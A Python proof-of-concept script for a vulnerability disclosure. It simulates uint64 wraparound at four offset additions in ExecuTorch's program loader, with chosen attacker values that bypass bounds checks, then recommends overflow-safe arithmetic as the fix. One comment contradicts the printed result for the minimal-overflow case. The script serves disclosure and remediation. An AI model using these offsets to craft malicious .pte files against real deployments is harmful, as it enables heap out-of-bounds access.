File size: 12,909 Bytes
2e38cf3
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
#!/usr/bin/env python3
"""
ExecuTorch Segment Offset Calculation Integer Overflows (CWE-190)
==================================================================

Target: ExecuTorch (pytorch/executorch)
Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd

Affected File: runtime/executor/program.cpp
  - Line 96:  segment_base_offset + segment_data_size
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L96
  - Line 378: offset + nbytes (get_constant_buffer_data)
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L378
  - Line 504: segment_base_offset_ + segment->offset()
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L504
  - Line 589: segment_base_offset_ + segment->offset() + segment_info->segment_index()
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L589

CWE-190: Integer Overflow or Wraparound

Description:
  ExecuTorch's Program loader performs multiple offset arithmetic operations
  using values from the FlatBuffer schema (attacker-controlled in a malicious
  .pte file). These operations are performed on size_t (uint64_t on 64-bit)
  without overflow detection, allowing wraparound that bypasses subsequent
  bounds checks and leads to out-of-bounds memory access.

  All four overflow sites use the pattern:
    computed_offset = base + attacker_offset [+ attacker_offset2]
    if (computed_offset > limit) return error;  // bypassed by overflow

Impact:
  Heap out-of-bounds read/write through corrupted offset calculations.
  The attacker controls the offset values through the .pte FlatBuffer schema.
"""

import struct
import sys

UINT64_MAX = (1 << 64) - 1
SIZE_T_BITS = 64  # Assuming 64-bit platform


def uint64_add(a: int, b: int) -> int:
    """Simulate uint64_t addition with wraparound."""
    return (a + b) & UINT64_MAX


def uint64_add3(a: int, b: int, c: int) -> int:
    """Simulate uint64_t triple addition with wraparound."""
    return (a + b + c) & UINT64_MAX


def check_overflow(true_sum: int) -> bool:
    """Returns True if the sum overflows uint64_t."""
    return true_sum > UINT64_MAX


def print_overflow_analysis(label: str, operands: list, limit: int, limit_name: str):
    """Analyze and print an overflow scenario."""
    true_sum = sum(operands)
    wrapped_sum = true_sum & UINT64_MAX
    overflows = check_overflow(true_sum)
    bypasses_check = wrapped_sum <= limit and true_sum > limit

    print(f"  Operands:")
    for i, op in enumerate(operands):
        print(f"    {'+ ' if i > 0 else '  '}0x{op:016X}  ({op:,})")
    print(f"  True sum:    0x{true_sum:X}  ({true_sum:,})")
    print(f"  Wrapped sum: 0x{wrapped_sum:016X}  ({wrapped_sum:,})")
    print(f"  {limit_name}: 0x{limit:016X}  ({limit:,})")
    print(f"  Overflows:   {'YES' if overflows else 'NO'}")
    print(f"  wrapped <= {limit_name}: {'YES' if wrapped_sum <= limit else 'NO'}")
    print(f"  Bypasses check: {'>>> YES — OOB ACCESS <<<' if bypasses_check else 'No'}")
    print()


def main():
    print("=" * 78)
    print("ExecuTorch Segment Offset Integer Overflow PoC")
    print("CWE-190: Integer Overflow or Wraparound")
    print("=" * 78)
    print()

    # =========================================================================
    # OVERFLOW 1: program.cpp:96
    # segment_base_offset = header_size + flatbuffer_size (program_data_size)
    # if (segment_base_offset + segment_data_size > file_size) ...
    # =========================================================================
    print("=" * 78)
    print("OVERFLOW 1: program.cpp:96")
    print("  segment_base_offset + segment_data_size > file_size")
    print("=" * 78)
    print()
    print("  Code:")
    print("    size_t segment_base_offset = program_data_size;")
    print("    // ...")
    print("    if (segment_base_offset + segment_data_size > file_data_length) {")
    print("        return Error::InvalidProgram;")
    print("    }")
    print()
    print("  Attack: Set segment_data_size in .pte so the sum wraps.")
    print()

    # The segment_base_offset is derived from program data size (attacker-influenced)
    # segment_data_size comes from summing segment sizes in the FlatBuffer
    segment_base_offset_1 = 0x8000000000000000  # Large program_data_size
    segment_data_size_1 = 0x8000000000000100    # Large total segment size
    file_size_1 = 0x0000000000100000            # 1 MB file

    print(f"  Scenario: segment_base_offset=0x{segment_base_offset_1:X}, "
          f"segment_data_size=0x{segment_data_size_1:X}, file=1MB")
    print()
    print_overflow_analysis(
        "program.cpp:96",
        [segment_base_offset_1, segment_data_size_1],
        file_size_1,
        "file_data_length"
    )

    # =========================================================================
    # OVERFLOW 2: program.cpp:378
    # get_constant_buffer_data: offset + nbytes overflow
    # =========================================================================
    print("=" * 78)
    print("OVERFLOW 2: program.cpp:378")
    print("  offset + nbytes > constant_segment.size (get_constant_buffer_data)")
    print("=" * 78)
    print()
    print("  Code (get_constant_buffer_data):")
    print("    size_t offset = constant_buffer->storage_offset();")
    print("    size_t nbytes = constant_buffer->allocation_info()->memory_size_bytes();")
    print("    if (offset + nbytes > constant_segment.size) {")
    print("        return Error::InvalidProgram;")
    print("    }")
    print()
    print("  Attack: Craft constant_buffer with large storage_offset and memory_size_bytes.")
    print()

    offset_2 = 0xFFFFFFFFFFFF0000
    nbytes_2 = 0x0000000000020000   # 128 KB
    seg_size_2 = 0x0000000000010000  # 64 KB segment

    print(f"  Scenario: offset=0x{offset_2:X}, nbytes=0x{nbytes_2:X}, segment=64KB")
    print()
    print_overflow_analysis(
        "program.cpp:378",
        [offset_2, nbytes_2],
        seg_size_2,
        "constant_segment.size"
    )

    # Demonstrate the actual OOB read that follows
    wrapped_2 = uint64_add(offset_2, nbytes_2)
    print(f"  After check passes:")
    print(f"    Code does: return segment_data + offset;")
    print(f"    segment_data is a pointer to {seg_size_2} bytes")
    print(f"    offset = 0x{offset_2:X}")
    print(f"    Result: pointer {offset_2 - seg_size_2:,} bytes PAST segment end")
    print(f"    >>> Heap OOB read <<<")
    print()

    # =========================================================================
    # OVERFLOW 3: program.cpp:504
    # segment_base_offset_ + segment->offset()
    # =========================================================================
    print("=" * 78)
    print("OVERFLOW 3: program.cpp:504")
    print("  segment_base_offset_ + segment->offset()")
    print("=" * 78)
    print()
    print("  Code (load_segment_data):")
    print('    const void* segment_data = static_cast<const uint8_t*>(')
    print('        segment_data_.data) + segment_base_offset_ + segment->offset();')
    print()
    print("  This is pointer arithmetic — no bounds check at all!")
    print("  The sum is used directly as a memory offset.")
    print()

    seg_base_3 = 0xC000000000000000
    seg_offset_3 = 0x5000000000000000  # From FlatBuffer segment->offset()

    true_3 = seg_base_3 + seg_offset_3
    wrapped_3 = uint64_add(seg_base_3, seg_offset_3)

    print(f"  segment_base_offset_ = 0x{seg_base_3:016X}")
    print(f"  segment->offset()    = 0x{seg_offset_3:016X}")
    print(f"  True sum:              0x{true_3:X}")
    print(f"  Wrapped (uint64):      0x{wrapped_3:016X}")
    print()
    print(f"  If buffer is mapped at address P:")
    print(f"    Expected access: P + 0x{true_3:X} (way past buffer)")
    print(f"    Actual access:   P + 0x{wrapped_3:X} (wraps to small offset)")
    print()
    print(f"  The pointer arithmetic wraps, causing access to an earlier")
    print(f"  part of the mapped file or adjacent heap memory.")
    print(f"  >>> Type confusion / data corruption <<<")
    print()

    # =========================================================================
    # OVERFLOW 4: program.cpp:589
    # segment_base_offset_ + segment->offset() + segment_info->segment_index()
    # =========================================================================
    print("=" * 78)
    print("OVERFLOW 4: program.cpp:589")
    print("  segment_base_offset_ + segment->offset() + segment_info->segment_index()")
    print("=" * 78)
    print()
    print("  Code:")
    print('    size_t offset = segment_base_offset_ + segment->offset()')
    print('        + segment_info->segment_index();')
    print()
    print("  Triple addition — three attacker-controlled values summed")
    print("  without any overflow check.")
    print()

    seg_base_4 = 0x5555555555555555
    seg_off_4 = 0x5555555555555555
    seg_idx_4 = 0x5555555555555557  # Chosen so triple sum wraps to 0x0001

    true_4 = seg_base_4 + seg_off_4 + seg_idx_4
    wrapped_4 = uint64_add3(seg_base_4, seg_off_4, seg_idx_4)

    print(f"  segment_base_offset_ = 0x{seg_base_4:016X}")
    print(f"  segment->offset()    = 0x{seg_off_4:016X}")
    print(f"  segment_index()      = 0x{seg_idx_4:016X}")
    print(f"  True sum:              0x{true_4:X}")
    print(f"  Wrapped (uint64):      0x{wrapped_4:016X} = {wrapped_4}")
    print()
    print(f"  Three large values sum to 0x{wrapped_4:X} after overflow!")
    print(f"  The resulting offset points to the very beginning of the")
    print(f"  mapped data, regardless of where segments actually are.")
    print(f"  >>> Arbitrary offset within mapped memory <<<")
    print()

    # Additional scenario for overflow 4: just barely overflows
    seg_base_4b = UINT64_MAX - 100
    seg_off_4b = 50
    seg_idx_4b = 52  # Total = UINT64_MAX + 1 = wraps to 0

    true_4b = seg_base_4b + seg_off_4b + seg_idx_4b
    wrapped_4b = uint64_add3(seg_base_4b, seg_off_4b, seg_idx_4b)

    print(f"  Scenario B (minimal overflow):")
    print(f"  segment_base_offset_ = 0x{seg_base_4b:016X} (UINT64_MAX - 100)")
    print(f"  segment->offset()    = {seg_off_4b}")
    print(f"  segment_index()      = {seg_idx_4b}")
    print(f"  True sum:              0x{true_4b:X} (UINT64_MAX + 1 + 1)")
    print(f"  Wrapped (uint64):      0x{wrapped_4b:016X} = {wrapped_4b}")
    print(f"  >>> Wraps to offset {wrapped_4b}, bypasses any subsequent check <<<")
    print()

    # =========================================================================
    # Contrast with safe pattern (BufferDataLoader)
    # =========================================================================
    print("=" * 78)
    print("SAFE PATTERN: c10::add_overflows()")
    print("=" * 78)
    print()
    print("  BufferDataLoader (buffer_data_loader.h:38-41) uses the safe pattern:")
    print()
    print("    size_t total;")
    print("    if (c10::add_overflows(offset, size, &total) || total > data_size_) {")
    print("        return Error::InvalidArgument;")
    print("    }")
    print()
    print("  This detects the overflow BEFORE the comparison.")
    print("  All four overflow sites in program.cpp should use this pattern.")
    print()
    print("  Alternatively, use __builtin_add_overflow() or check:")
    print("    if (a > SIZE_MAX - b) { /* overflow */ }")
    print()

    # =========================================================================
    # Summary table
    # =========================================================================
    print("=" * 78)
    print("SUMMARY")
    print("=" * 78)
    print()
    print("  +--------+------------+------------------------------------------+")
    print("  |  Line  | # Operands | Expression                               |")
    print("  +--------+------------+------------------------------------------+")
    print("  |   96   |     2      | segment_base_offset + segment_data_size  |")
    print("  |  378   |     2      | offset + nbytes                          |")
    print("  |  504   |     2      | segment_base_offset_ + segment->offset() |")
    print("  |  589   |     3      | seg_base + seg->offset() + seg_index()   |")
    print("  +--------+------------+------------------------------------------+")
    print()
    print("  All 4 sites perform unchecked integer addition on attacker-controlled")
    print("  values from the .pte FlatBuffer schema. Overflow wraps the result to")
    print("  a small value, bypassing bounds checks and enabling OOB memory access.")
    print()
    print("  Fix: Use c10::add_overflows() or equivalent overflow-safe arithmetic")
    print("  for all offset calculations involving untrusted values.")

    return 1


if __name__ == "__main__":
    sys.exit(main())